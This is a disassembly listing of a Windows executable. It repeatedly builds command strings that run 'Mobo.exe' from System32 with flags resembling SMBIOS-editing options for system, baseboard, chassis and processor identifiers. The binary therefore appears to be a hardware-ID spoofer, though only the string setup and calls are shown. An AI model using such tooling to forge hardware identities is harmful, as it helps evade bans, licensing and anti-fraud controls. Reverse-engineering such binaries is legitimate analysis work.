lea rcx, [rsp + 0x98d8]
call fcn.14005d9d0
mov qword [rsp + 0x1670], rax
mov rax, qword [rsp + 0x1670]
mov qword [rsp + 0x1678], rax
mov r8, qword [rsp + 0x1678]
lea rdx, str.C:WindowsSystem32Mobo.exe__CV
lea rcx, [rsp + 0xbeb0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x98d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x98f8]
call fcn.14005d9d0
mov qword [rsp + 0x1680], rax
mov rax, qword [rsp + 0x1680]
mov qword [rsp + 0x1688], rax
mov r8, qword [rsp + 0x1688]
lea rdx, str.C:WindowsSystem32Mobo.exe__CA
lea rcx, [rsp + 0xbe90]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x98f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9918]
call fcn.14005d9d0
mov qword [rsp + 0x1690], rax
mov rax, qword [rsp + 0x1690]
mov qword [rsp + 0x1698], rax
mov r8, qword [rsp + 0x1698]
lea rdx, str.C:WindowsSystem32Mobo.exe__CO
lea rcx, [rsp + 0xbe70]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9918]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9938]
call fcn.14005d9d0
mov qword [rsp + 0x16a0], rax
mov rax, qword [rsp + 0x16a0]
mov qword [rsp + 0x16a8], rax
mov r8, qword [rsp + 0x16a8]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK
lea rcx, [rsp + 0xbe50]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9938]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9958]
call fcn.14005d9d0
mov qword [rsp + 0x16b0], rax
mov rax, qword [rsp + 0x16b0]
mov qword [rsp + 0x16b8], rax
mov r8, qword [rsp + 0x16b8]
lea rdx, str.C:WindowsSystem32Mobo.exe__SK
lea rcx, [rsp + 0xbe30]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9958]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9978]
call fcn.14005d9d0
mov qword [rsp + 0x16c0], rax
mov rax, qword [rsp + 0x16c0]
mov qword [rsp + 0x16c8], rax
mov r8, qword [rsp + 0x16c8]
lea rdx, str.C:WindowsSystem32Mobo.exe__SU_auto
lea rcx, [rsp + 0xbe10]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9978]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9998]
call fcn.14005d9d0
mov qword [rsp + 0x16d0], rax
mov rax, qword [rsp + 0x16d0]
mov qword [rsp + 0x16d8], rax
mov r8, qword [rsp + 0x16d8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH
lea rcx, [rsp + 0xbdf0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9998]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x99b8]
call fcn.14005d9d0
mov qword [rsp + 0x16e0], rax
mov rax, qword [rsp + 0x16e0]
mov qword [rsp + 0x16e8], rax
mov r8, qword [rsp + 0x16e8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH
lea rcx, [rsp + 0xbdd0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x99b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x99d8]
call fcn.14005d9d0
mov qword [rsp + 0x16f0], rax
mov rax, qword [rsp + 0x16f0]
mov qword [rsp + 0x16f8], rax
mov r8, qword [rsp + 0x16f8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH
lea rcx, [rsp + 0xbdb0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x99d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x99f8]
call fcn.14005d9d0
mov qword [rsp + 0x1700], rax
mov rax, qword [rsp + 0x1700]
mov qword [rsp + 0x1708], rax
mov r8, qword [rsp + 0x1708]
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH
lea rcx, [rsp + 0xbd90]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x99f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9a18]
call fcn.14005d9d0
mov qword [rsp + 0x1710], rax
mov rax, qword [rsp + 0x1710]
mov qword [rsp + 0x1718], rax
mov r8, qword [rsp + 0x1718]
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH
lea rcx, [rsp + 0xbd70]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9a18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9a38]
call fcn.14005d9d0
mov qword [rsp + 0x1720], rax
mov rax, qword [rsp + 0x1720]
mov qword [rsp + 0x1728], rax
mov r8, qword [rsp + 0x1728]
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH
lea rcx, [rsp + 0xbd50]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9a38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9a58]
call fcn.14005d9d0
mov qword [rsp + 0x1730], rax
mov rax, qword [rsp + 0x1730]
mov qword [rsp + 0x1738], rax
mov r8, qword [rsp + 0x1738]
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN
lea rcx, [rsp + 0xbd30]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9a58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9a78]
call fcn.14005d9d0
mov qword [rsp + 0x1740], rax
mov rax, qword [rsp + 0x1740]
mov qword [rsp + 0x1748], rax
mov r8, qword [rsp + 0x1748]
lea rdx, str.C:WindowsSystem32Mobo.exe__ID
lea rcx, [rsp + 0xbd10]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9a78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9a98]
call fcn.14005d9d0
mov qword [rsp + 0x1750], rax
mov rax, qword [rsp + 0x1750]
mov qword [rsp + 0x1758], rax
mov r8, qword [rsp + 0x1758]
lea rdx, str.C:WindowsSystem32Mobo.exe__CH
lea rcx, [rsp + 0xbcf0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9a98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9ab8]
call fcn.14005d9d0
mov qword [rsp + 0x1760], rax
mov rax, qword [rsp + 0x1760]
mov qword [rsp + 0x1768], rax
mov r8, qword [rsp + 0x1768]
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC
lea rcx, [rsp + 0xbcd0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9ab8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9ad8]
call fcn.14005d9d0
mov qword [rsp + 0x1770], rax
mov rax, qword [rsp + 0x1770]
mov qword [rsp + 0x1778], rax
mov r8, qword [rsp + 0x1778]
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH
lea rcx, [rsp + 0xbcb0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9ad8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9af8]
call fcn.14005d9d0
mov qword [rsp + 0x1780], rax
mov rax, qword [rsp + 0x1780]
mov qword [rsp + 0x1788], rax
mov r8, qword [rsp + 0x1788]
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH
lea rcx, [rsp + 0xbc90]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9af8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9b18]
call fcn.14005d9d0
mov qword [rsp + 0x1790], rax
mov rax, qword [rsp + 0x1790]
mov qword [rsp + 0x1798], rax
mov r8, qword [rsp + 0x1798]
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH
lea rcx, [rsp + 0xbc70]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9b18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9b38]
call fcn.14005d9d0
mov qword [rsp + 0x17a0], rax
mov rax, qword [rsp + 0x17a0]
mov qword [rsp + 0x17a8], rax
mov r8, qword [rsp + 0x17a8]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH
lea rcx, [rsp + 0xbc50]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9b38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9b58]
call fcn.14005d9d0
mov qword [rsp + 0x17b0], rax
mov rax, qword [rsp + 0x17b0]
mov qword [rsp + 0x17b8], rax
mov r8, qword [rsp + 0x17b8]
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH
lea rcx, [rsp + 0xbc30]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9b58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9b78]
call fcn.14005d9d0
mov qword [rsp + 0x17c0], rax
mov rax, qword [rsp + 0x17c0]
mov qword [rsp + 0x17c8], rax
mov r8, qword [rsp + 0x17c8]
lea rdx, str.C:WindowsSystem32Mobo.exe__COH
lea rcx, [rsp + 0xbc10]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9b78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9b98]
call fcn.14005d9d0
mov qword [rsp + 0x17d0], rax
mov rax, qword [rsp + 0x17d0]
mov qword [rsp + 0x17d8], rax
mov r8, qword [rsp + 0x17d8]
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH
lea rcx, [rsp + 0xbbf0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9b98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9bb8]
call fcn.14005d9d0
mov qword [rsp + 0x17e0], rax
mov rax, qword [rsp + 0x17e0]
mov qword [rsp + 0x17e8], rax
mov r8, qword [rsp + 0x17e8]
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH
lea rcx, [rsp + 0xbbd0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9bb8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9bd8]
call fcn.14005d9d0
mov qword [rsp + 0x17f0], rax
mov rax, qword [rsp + 0x17f0]
mov qword [rsp + 0x17f8], rax
mov r8, qword [rsp + 0x17f8]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH
lea rcx, [rsp + 0xbbb0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9bd8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9bf8]
call fcn.14005d9d0
mov qword [rsp + 0x1800], rax
mov rax, qword [rsp + 0x1800]
mov qword [rsp + 0x1808], rax
mov r8, qword [rsp + 0x1808]
lea rdx, str.C:WindowsSystem32Mobo.exe__SU
lea rcx, [rsp + 0xbb90]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9bf8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9c18]
call fcn.14005d9d0
mov qword [rsp + 0x1810], rax
mov rax, qword [rsp + 0x1810]
mov qword [rsp + 0x1818], rax
mov r8, qword [rsp + 0x1818]
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL
lea rcx, [rsp + 0xbb70]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9c18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9c38]
call fcn.14005d9d0
mov qword [rsp + 0x1820], rax
mov rax, qword [rsp + 0x1820]
mov qword [rsp + 0x1828], rax
mov r8, qword [rsp + 0x1828]
lea rdx, str.C:WindowsSystem32Mo.exe__SS
lea rcx, [rsp + 0xbb50]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9c38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9c58]
call fcn.14005d9d0
mov qword [rsp + 0x1830], rax
mov rax, qword [rsp + 0x1830]
mov qword [rsp + 0x1838], rax
mov r8, qword [rsp + 0x1838]
lea rdx, str.C:WindowsSystem32Mobo.exe__BS
lea rcx, [rsp + 0xbb30]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9c58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9c78]
call fcn.14005d9d0
mov qword [rsp + 0x1840], rax
mov rax, qword [rsp + 0x1840]
mov qword [rsp + 0x1848], rax
mov r8, qword [rsp + 0x1848]
lea rdx, str.C:WindowsSystem32Mobo.exe__SV
lea rcx, [rsp + 0xbb10]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9c78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9c98]
call fcn.14005d9d0
mov qword [rsp + 0x1850], rax
mov rax, qword [rsp + 0x1850]
mov qword [rsp + 0x1858], rax
mov r8, qword [rsp + 0x1858]
lea rdx, str.C:WindowsSystem32Mobo.exe__BV
lea rcx, [rsp + 0xa350]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9c98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9cb8]
call fcn.14005d9d0
mov qword [rsp + 0x1860], rax
mov rax, qword [rsp + 0x1860]
mov qword [rsp + 0x1868], rax
mov r8, qword [rsp + 0x1868]
lea rdx, str.C:WindowsSystem32Mobo.exe__CS
lea rcx, [rsp + 0xbaf0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9cb8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9cd8]
call fcn.14005d9d0
mov qword [rsp + 0x1870], rax
mov rax, qword [rsp + 0x1870]
mov qword [rsp + 0x1878], rax
mov r8, qword [rsp + 0x1878]
lea rdx, str.C:WindowsSystem32Mobo.exe__PSN
lea rcx, [rsp + 0xbad0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9cd8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9cf8]
call fcn.14005d9d0
mov qword [rsp + 0x1880], rax
mov rax, qword [rsp + 0x1880]
mov qword [rsp + 0x1888], rax
mov r8, qword [rsp + 0x1888]
lea rdx, str.C:WindowsSystem32Mobo.exe__PAT
lea rcx, [rsp + 0xbab0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9cf8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9d18]
call fcn.14005d9d0
mov qword [rsp + 0x1890], rax
mov rax, qword [rsp + 0x1890]
mov qword [rsp + 0x1898], rax
mov r8, qword [rsp + 0x1898]
lea rdx, str.C:WindowsSystem32Mobo.exe__PPN
lea rcx, [rsp + 0xba90]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9d18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9d38]
call fcn.14005d9d0
mov qword [rsp + 0x18a0], rax
mov rax, qword [rsp + 0x18a0]
mov qword [rsp + 0x18a8], rax
mov r8, qword [rsp + 0x18a8]
lea rdx, str.C:WindowsSystem32Mobo.exe__IV
lea rcx, [rsp + 0xba70]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9d38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9d58]
call fcn.14005d9d0
mov qword [rsp + 0x18b0], rax
mov rax, qword [rsp + 0x18b0]
mov qword [rsp + 0x18b8], rax
mov r8, qword [rsp + 0x18b8]
lea rdx, str.C:WindowsSystem32Mobo.exe__SM
lea rcx, [rsp + 0xba50]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9d58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9d78]
call fcn.14005d9d0
mov qword [rsp + 0x18c0], rax
mov rax, qword [rsp + 0x18c0]
mov qword [rsp + 0x18c8], rax
mov r8, qword [rsp + 0x18c8]
lea rdx, str.C:WindowsSystem32Mobo.exe__SP
lea rcx, [rsp + 0xba30]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9d78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9d98]
call fcn.14005d9d0
mov qword [rsp + 0x18d0], rax
mov rax, qword [rsp + 0x18d0]
mov qword [rsp + 0x18d8], rax
mov r8, qword [rsp + 0x18d8]
lea rdx, str.C:WindowsSystem32Mobo.exe__SF
lea rcx, [rsp + 0xba10]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9d98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9db8]
call fcn.14005d9d0
mov qword [rsp + 0x18e0], rax
mov rax, qword [rsp + 0x18e0]
mov qword [rsp + 0x18e8], rax
mov r8, qword [rsp + 0x18e8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BM
lea rcx, [rsp + 0xb9f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9db8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9dd8]
call fcn.14005d9d0
mov qword [rsp + 0x18f0], rax
mov rax, qword [rsp + 0x18f0]
mov qword [rsp + 0x18f8], rax
mov r8, qword [rsp + 0x18f8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BP
lea rcx, [rsp + 0xb9d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9dd8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9df8]
call fcn.14005d9d0
mov qword [rsp + 0x1900], rax
mov rax, qword [rsp + 0x1900]
mov qword [rsp + 0x1908], rax
mov r8, qword [rsp + 0x1908]
lea rdx, str.C:WindowsSystem32Mobo.exe__BT
lea rcx, [rsp + 0xb9b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9df8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9e18]
call fcn.14005d9d0
mov qword [rsp + 0x1910], rax
mov rax, qword [rsp + 0x1910]
mov qword [rsp + 0x1918], rax
mov r8, qword [rsp + 0x1918]
lea rdx, str.C:WindowsSystem32Mobo.exe__BLC
lea rcx, [rsp + 0xb990]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9e18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9e38]
call fcn.14005d9d0
mov qword [rsp + 0x1920], rax
mov rax, qword [rsp + 0x1920]
mov qword [rsp + 0x1928], rax
mov r8, qword [rsp + 0x1928]
lea rdx, str.C:WindowsSystem32Mobo.exe__CM
lea rcx, [rsp + 0xb970]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9e38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9e58]
call fcn.14005d9d0
mov qword [rsp + 0x1930], rax
mov rax, qword [rsp + 0x1930]
mov qword [rsp + 0x1938], rax
mov r8, qword [rsp + 0x1938]
lea rdx, str.C:WindowsSystem32Mobo.exe__CT
lea rcx, [rsp + 0xb950]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9e58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9e78]
call fcn.14005d9d0
mov qword [rsp + 0x1940], rax
mov rax, qword [rsp + 0x1940]
mov qword [rsp + 0x1948], rax
mov r8, qword [rsp + 0x1948]
lea rdx, str.C:WindowsSystem32Mobo.exe__CV
lea rcx, [rsp + 0xb930]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9e78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9e98]
call fcn.14005d9d0
mov qword [rsp + 0x1950], rax
mov rax, qword [rsp + 0x1950]
mov qword [rsp + 0x1958], rax
mov r8, qword [rsp + 0x1958]
lea rdx, str.C:WindowsSystem32Mobo.exe__CA
lea rcx, [rsp + 0xb910]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9e98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9eb8]
call fcn.14005d9d0
mov qword [rsp + 0x1960], rax
mov rax, qword [rsp + 0x1960]
mov qword [rsp + 0x1968], rax
mov r8, qword [rsp + 0x1968]
lea rdx, str.C:WindowsSystem32Mobo.exe__CO
lea rcx, [rsp + 0xddd0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9eb8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9ed8]
call fcn.14005d9d0
mov qword [rsp + 0x1970], rax
mov rax, qword [rsp + 0x1970]
mov qword [rsp + 0x1978], rax
mov r8, qword [rsp + 0x1978]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK
lea rcx, [rsp + 0xb8d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9ed8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9ef8]
call fcn.14005d9d0
mov qword [rsp + 0x1980], rax
mov rax, qword [rsp + 0x1980]
mov qword [rsp + 0x1988], rax
mov r8, qword [rsp + 0x1988]
lea rdx, str.C:WindowsSystem32Mobo.exe__SK
lea rcx, [rsp + 0xb8b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9ef8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9f18]
call fcn.14005d9d0
mov qword [rsp + 0x1990], rax
mov rax, qword [rsp + 0x1990]
mov qword [rsp + 0x1998], rax
mov r8, qword [rsp + 0x1998]
lea rdx, str.C:WindowsSystem32Mobo.exe__SU_auto
lea rcx, [rsp + 0xb890]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9f18]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9f38]
call fcn.14005d9d0
mov qword [rsp + 0x19a0], rax
mov rax, qword [rsp + 0x19a0]
mov qword [rsp + 0x19a8], rax
mov r8, qword [rsp + 0x19a8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH
lea rcx, [rsp + 0xb870]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9f38]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9f58]
call fcn.14005d9d0
mov qword [rsp + 0x19b0], rax
mov rax, qword [rsp + 0x19b0]
mov qword [rsp + 0x19b8], rax
mov r8, qword [rsp + 0x19b8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH
lea rcx, [rsp + 0xb850]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9f58]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9f78]
call fcn.14005d9d0
mov qword [rsp + 0x19c0], rax
mov rax, qword [rsp + 0x19c0]
mov qword [rsp + 0x19c8], rax
mov r8, qword [rsp + 0x19c8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH
lea rcx, [rsp + 0xb830]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9f78]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9f98]
call fcn.14005d9d0
mov qword [rsp + 0x19d0], rax
mov rax, qword [rsp + 0x19d0]
mov qword [rsp + 0x19d8], rax
mov r8, qword [rsp + 0x19d8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH
lea rcx, [rsp + 0xb810]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9f98]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9fb8]
call fcn.14005d9d0
mov qword [rsp + 0x19e0], rax
mov rax, qword [rsp + 0x19e0]
mov qword [rsp + 0x19e8], rax
mov r8, qword [rsp + 0x19e8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH
lea rcx, [rsp + 0xb7f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9fb8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9fd8]
call fcn.14005d9d0
mov qword [rsp + 0x19f0], rax
mov rax, qword [rsp + 0x19f0]
mov qword [rsp + 0x19f8], rax
mov r8, qword [rsp + 0x19f8]
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH
lea rcx, [rsp + 0xb7d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9fd8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9ff8]
call fcn.14005d9d0
mov qword [rsp + 0x1cb0], rax
mov rax, qword [rsp + 0x1cb0]
mov qword [rsp + 0x1a08], rax
mov r8, qword [rsp + 0x1a08]
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN
lea rcx, [rsp + 0xb7b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9ff8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa018]
call fcn.14005d9d0
mov qword [rsp + 0x1a10], rax
mov rax, qword [rsp + 0x1a10]
mov qword [rsp + 0x1a18], rax
mov r8, qword [rsp + 0x1a18]
lea rdx, str.C:WindowsSystem32Mobo.exe__ID
lea rcx, [rsp + 0xb790]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa018]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa038]
call fcn.14005d9d0
mov qword [rsp + 0x1a20], rax
mov rax, qword [rsp + 0x1a20]
mov qword [rsp + 0x1a28], rax
mov r8, qword [rsp + 0x1a28]
lea rdx, str.C:WindowsSystem32Mobo.exe__CH
lea rcx, [rsp + 0xb770]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa038]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa058]
call fcn.14005d9d0
mov qword [rsp + 0x1a30], rax
mov rax, qword [rsp + 0x1a30]
mov qword [rsp + 0x1a38], rax
mov r8, qword [rsp + 0x1a38]
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC
lea rcx, [rsp + 0xb750]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa058]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa078]
call fcn.14005d9d0
mov qword [rsp + 0x1a40], rax
mov rax, qword [rsp + 0x1a40]
mov qword [rsp + 0x1a48], rax
mov r8, qword [rsp + 0x1a48]
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH
lea rcx, [rsp + 0xb730]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa078]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa098]
call fcn.14005d9d0
mov qword [rsp + 0x1a50], rax
mov rax, qword [rsp + 0x1a50]
mov qword [rsp + 0x1a58], rax
mov r8, qword [rsp + 0x1a58]
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH
lea rcx, [rsp + 0xb710]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa098]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa0b8]
call fcn.14005d9d0
mov qword [rsp + 0x1a60], rax
mov rax, qword [rsp + 0x1a60]
mov qword [rsp + 0x1a68], rax
mov r8, qword [rsp + 0x1a68]
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH
lea rcx, [rsp + 0xb6f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa0b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa0d8]
call fcn.14005d9d0
mov qword [rsp + 0x1a70], rax
mov rax, qword [rsp + 0x1a70]
mov qword [rsp + 0x1a78], rax
mov r8, qword [rsp + 0x1a78]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH
lea rcx, [rsp + 0xb6d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa0d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa0f8]
call fcn.14005d9d0
mov qword [rsp + 0x1a80], rax
mov rax, qword [rsp + 0x1a80]
mov qword [rsp + 0x1a88], rax
mov r8, qword [rsp + 0x1a88]
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH
lea rcx, [rsp + 0xb6b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa0f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa118]
call fcn.14005d9d0
mov qword [rsp + 0x1a90], rax
mov rax, qword [rsp + 0x1a90]
mov qword [rsp + 0x1a98], rax
mov r8, qword [rsp + 0x1a98]
lea rdx, str.C:WindowsSystem32Mobo.exe__COH
lea rcx, [rsp + 0xb690]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa118]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa138]
call fcn.14005d9d0
mov qword [rsp + 0x1aa0], rax
mov rax, qword [rsp + 0x1aa0]
mov qword [rsp + 0x1aa8], rax
mov r8, qword [rsp + 0x1aa8]
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH
lea rcx, [rsp + 0xb670]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0xa138]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0xa158]
call fcn.14005d9d0
mov qword [rsp + 0x1ab0], rax
mov rax, qword [rsp + 0x1ab0]
mov qword [rsp + 0x1ab8], rax
mov r8, qword [rsp + 0x1ab8]
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH
lea rcx, [rsp + 0xb650]
call fcn.1400aecd0
nop
